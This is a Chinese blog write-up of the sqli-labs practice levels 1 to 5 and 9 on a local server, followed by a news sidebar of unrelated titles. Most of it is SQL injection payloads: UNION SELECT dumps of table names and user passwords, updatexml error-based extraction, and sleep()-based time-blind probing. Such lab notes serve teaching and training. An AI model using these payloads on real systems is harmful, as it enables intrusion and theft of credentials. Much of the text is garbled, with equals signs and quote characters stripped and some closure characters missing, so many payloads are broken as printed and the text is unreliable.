sqli通关笔记(1-4,5,9)
一、Less-1http://127.0.0.1/sqli/Less-1/?id1根据在URL中输入对应内容发现页面正常回显说明该传参为get方式1、首先判断注入类型http://127.0.0.1/sqli/Less-1/?id1 and 12 --在URL中输入此段代码发现页面正常回显由此可以得出此关卡为字符型注入原理分析我们可以通过查看页面源代码找到对应查询语句$sqlSELECT * FROM users WHERE id$id LIMIT 0,1;该语句说明了SQL在查询时采用的传参方式我们输入到URL上面的内容会拿去直接传给参数$id当我们输入id1 and 12时会被放入最终变为id1 and 12在SQL语句里面这句话是可以正常执行的虽然12是恒不成立但是SQL是读取到id1这个选项的只是会有一个警告信息页面是可以正常回显内容的根据这个原理我们能够得出这个sql注入是字符型的2、判断字符型注入的闭合方式http://127.0.0.1/sqli/Less-1/?id1 and 12 --由步骤1我们已经得出这一关是字符型注入接下来我们就需要判断它的闭合方式在第一步的URL基础上进行闭合符的添加常见的闭合方式有 ) )等我们一个一个试原理依旧和第一步的原理差不多当我们加入闭合符时发现页面无法正常显示这是因为我们语句使用的是and语句且条件是恒不成立的此时页面没有正常回显说明语句已经闭合所以闭合符是3、判断列数http://127.0.0.1/sqli/Less-1/?id1 order by 3 --http://127.0.0.1/sqli/Less-1/?id1 order by 4 --在确定注入类型和闭合方式以后我们需要判断这个数据表的列数通常我们使用order by 这个关键字当我们使用order by 3时页面正常显示但当我们使用order by 4时页面显示找不到第四列说明我们目前实用的数据表里面只有三列。原理分析order by判断列数是利用了SQL查询时的报错信息在sql里面查询查不到该列也是同样的报错我们可以利用这个报错信息进行列数判断4、判断回显位置http://127.0.0.1/sqli/Less-1/?id-1 union select 1,2,3 --判断完注入类型、闭合方式、列数后我们就需要明白这个页面的回显位置寻找回显位置我们使用的是union联合查询的方式因为我们前面已经找到列数为3union查询的要求是前后查询目标的列数要保持一致所以我们在使用union select时需要将使用三个列此处我们使用select 123 来判断数据的回显位置通过页面的相应我们能够观察到回显位置为第二列和第三列那么我们就可以利用回显位置来获取信息比如数据库名可以直接获取到数据库的名字为security接下里我们就利用这些基础信息来获取库表数据等信息5、获取数据表名http://127.0.0.1/sqli/Less-1/?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemasecurity --获取表名我们依旧使用union联合查询注意列数一定要为3否则union无法正常执行我们在前面已经知道了数据库名为security我们就可以利用数据库名来为查询添加限制条件。原理分析语句中使用的group_concat的作用是将查询到的内容拼接显示默认逗号分隔同样我们也可以指定连接符这里使用的知识还有数据库的基本结构这里有一个数据库存储元数据-information_schema这里面存储的是数据库名、表名、列的数据类型、访问权限等此时我们只需要指定tables表内的table_name为我们刚刚查询出来的security就可以获得security库内的所有表名6、获取列名http://127.0.0.1/sqli/Less-1/?id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schemasecurity and table_nameusers --information_schema库内有一个columns表专门用来存储字段可以利用这个表来获取我们需要的表内字段名注意查询内容要换成columns内的column_name字段并且同时约束为security库内的users表我们就可以查询到users表内有id username password三个字段7、获取表内数据http://127.0.0.1/sqli/Less-1/?id-1 union select 1,group_concat(id,~,username,~,password),3 from users --当我们拿到数据库数据表的内容后我们就可以使用group_concat函数将表内的数据拼接显示出来二、Less-2根据前面的步骤一步一步进行由此可得第二关是数字型注入其余都和第一关一样只需要将闭合符号去掉即可三、Less-3根据页面显示可以判断出第三关为字符型注入接下里我们判断闭合方式依旧尝试不同的闭合符我们通过报错发现闭合符为)验证闭合符正确接下来的步骤和之前一样四、Less-4根据页面回显内容可以得出这一关是字符型注入此时我们去判断它 的闭合方式尝试常见的几种闭合符判断出闭合符是)接下里就和前几关一样五、Less-51、判断注入类型根据页面显示内容我们可以得出这一关依旧是字符型注入但是在显示上面不同依旧先判断闭合方式。2、判断闭合方式尝试发现闭合方式为我们按照常规方式接下来判断列数3、判断列数此时能判断出来列数为3但是要注意页面显示方式不同它不会再显示数据内容只会显示you are in 和报错信息判断这一关是布尔盲注我们需要利用页面的报错信息来获取我们需要的内容 。4、获取数据库名接下来我们就需要使用到一个函数updatexml() 这个函数的作用是查找并替换xml⽂档中符合条件的节点的值语法格式updatexml(文档对象名称,字符串位置,即将替换成的具体内容)http://127.0.0.1/sqli/Less-5/?id1 and updatexml(1,concat(~,(select database()),~),1)--5、查询数据表名http://127.0.0.1/sqli/Less-5/?id1 and updatexml(1,concat(~,(select group_concat(table_name) from information_schema.tables where table_schemasecurity),~),1)--6、获取列名http://127.0.0.1/sqli/Less-5/?id1 and updatexml(1,concat(~,(select group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers ),~),1)--7、获取表内数据http://127.0.0.1/sqli/Less-5/?id1 and updatexml(~,concat(~,(select group_concat(id,~,username,~,password) from users),~),~)--六、Less-9通过页面显示的内容我们发现不管我们输入什么东西页面都显示同一个内容这说明不是像前面四关那么普通的注入同时也不是第五关的布尔盲注我们无法通过页面显示的内容获取所需要的信息此时可以考虑时间盲注http://127.0.0.1/sqli/Less-9/?id1 and if(11,sleep(5),1)-- --这句话的意思是先判断第一个节点内的内容若为真则执行第二个节点若为假则执行第三个节点11这是恒成立语句所以应该执行第二个节点的内容即休眠五秒观察页面左上角页面确实休眠五秒那么我们就可以利用这个原理去查找判断我们所需要的信息1、判断数据库长度http://127.0.0.1/sqli/Less-9/?id1and if(length((select database()))9,sleep(5),1)--按照这个语句不断试探数据库的字符长度可以使用,最终得出数据库名的字符长度为82、获取数据库名http://127.0.0.1/sqli/Less-9/?id1and if(ascii(substr((select database()),1,1))115,sleep(5),1)--根据这个语句不断试探最终得出数据库名为security3、获取数据表名http://127.0.0.1/sqli/Less-9/?id1and if(length((select group_concat(table_name) from information_schema.tables where table_schemadatabase()))13,sleep(5),1)--这个语句用于判断表名长度http://127.0.0.1/sqli/Less-9/?id1and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schemadatabase()),1,1))99,sleep(5),1)这个语句用于判断表名一个一个试获取数据表名4、获取列名http://127.0.0.1/sqli/Less-9/?id1and if(length((select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers))25,sleep(5),1)--此语句用来判断列名长度http://127.0.0.1/sqli/Less-9/?id1and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers),1,1))99,sleep(5),1)--此语句用来判断列名依旧是通过不断缩小范围不断尝试获取列名5、获取内容http://127.0.0.1/sqli/Less-9/?id1 and if(ascii(substr((select group_concat(username,password) from users),1,1))50,sleep(5),1)--通过不断尝试获取内容

相关新闻

一次抓“小偷”的经过(找出偷走当前活动窗口的小偷)

一次抓“小偷”的经过(找出偷走当前活动窗口的小偷)

最近在使用Windows的过程中,经常发现当前活动窗口被莫名其妙切换走,需要按AltTab键或用鼠标左键单击恢复,很烦人。于是写了一个每隔0.5秒获取当前窗口对应的进程PID,窗口标题和对应进程全路径名,有变化时记录到日志文件…

2026/10/15 1:38:05 阅读更多 →
Windows Defender彻底移除指南:3种系统优化方案与完整实施流程

Windows Defender彻底移除指南:3种系统优化方案与完整实施流程

Windows Defender彻底移除指南:3种系统优化方案与完整实施流程 【免费下载链接】windows-defender-remover A tool which is uses to remove Windows Defender in Windows 8.x, Windows 10 (every version) and Windows 11. 项目地址: https://gitcode.com/gh_mir…

2026/9/29 21:35:40 阅读更多 →
Efficient Streaming Language Models with Attention Sinks

Efficient Streaming Language Models with Attention Sinks

StreamingLLM论文精读:为什么只保留开头几个Token,就能让模型持续生成数百万Token? 在普通大语言模型中,KV Cache会随着对话或文本长度不断增长。最直接的解决办法是只保留最近一段Token,也就是滑动窗口。 但论文发现…

2026/10/8 2:16:09 阅读更多 →

最新新闻

JavaWeb学生信息管理系统课程设计全解析:从表结构到答辩技巧

JavaWeb学生信息管理系统课程设计全解析:从表结构到答辩技巧

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/15 1:38:05 阅读更多 →
权值线段树与离散化:动态中位数的工程实现

权值线段树与离散化:动态中位数的工程实现

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/15 1:38:05 阅读更多 →
初识Bootstrap:栅格系统、组件与工具类实战笔记

初识Bootstrap:栅格系统、组件与工具类实战笔记

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/15 1:38:05 阅读更多 →
嵌入式系统中代号字符串的逆向分析与工程治理

嵌入式系统中代号字符串的逆向分析与工程治理

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/15 1:38:05 阅读更多 →
HEVC FPGA解码器RTL工程:CABAC与IDCT模块验证指南

HEVC FPGA解码器RTL工程:CABAC与IDCT模块验证指南

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/15 1:38:05 阅读更多 →
KNN图像识别入门:从PCA降维到手写数字分类实战

KNN图像识别入门:从PCA降维到手写数字分类实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/15 1:37:04 阅读更多 →

日新闻

Docker Compose 容器化部署 ChirpStack LoRaWAN 网络服务器实战

Docker Compose 容器化部署 ChirpStack LoRaWAN 网络服务器实战

1. 为什么选择容器化方式部署 LoRa 网络服务LoRa 物联网项目落地时,网络服务器是整个链路的核心枢纽。它负责接收网关上报的数据包、完成去重与解密、再把有效载荷分发给上层应用。早期大家习惯把网络服务器直接装在物理机上,依赖一堆系统库和特定版本的…

2026/10/15 0:00:46 阅读更多 →
共享LLM服务下的跨模型自动扩缩容:Kubernetes实战与避坑指南

共享LLM服务下的跨模型自动扩缩容:Kubernetes实战与避坑指南

1. 共享推理服务里,扩缩容到底难在哪做过大模型推理服务部署的人,大概都经历过这样的场景:一个团队共用一套推理集群,A 业务跑的是 7B 的小模型,B 业务跑的是 72B 的大模型,C 业务白天流量高、晚上几乎归零…

2026/10/15 0:00:46 阅读更多 →
Systemd 启动阶段根文件系统只读之谜:fstab 与 remount-fs 服务深度解析

Systemd 启动阶段根文件系统只读之谜:fstab 与 remount-fs 服务深度解析

1. 引子:一次内核恐慌引发的追查先从一个真实场景说起。某次我给一台老旧的嵌入式设备折腾系统裁减,为了把启动时间压进两秒以内,我手贱地把一串自认为“没用”的 systemd 服务给 disable 了,其中就包括systemd-remount-fs.servic…

2026/10/15 0:00:46 阅读更多 →

周新闻

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

简介:基于 ARIMA、LSTM、Transformer 等模型的流感时间序列预测 Python 源码,面向计算机相关专业课程设计与期末大作业学生,以及项目实战学习者。内容覆盖预处理、平稳性检验、定阶、残差分析、多模型对比预测的完整时序建模流程,…

2026/10/14 3:30:28 阅读更多 →
影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别 做影刀RPA自动化,十个新手有八个栽在"往输入框里填东西"这件事上:要么填不进去,要么填了一半,要么直接把原来内容追加在后面。这背后的根因&…

2026/10/14 16:30:29 阅读更多 →
影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容 1. 认识影刀:什么场景该用RPA采小说数据 起点中文网的页面结构相对稳定——分类榜单、书籍详情、章节内容三块独立页面,跳转链路清晰。这种场景非常适合影刀自动化&#x…

2026/10/14 3:29:58 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/15 0:14:36 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/14 22:45:47 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/14 7:53:34 阅读更多 →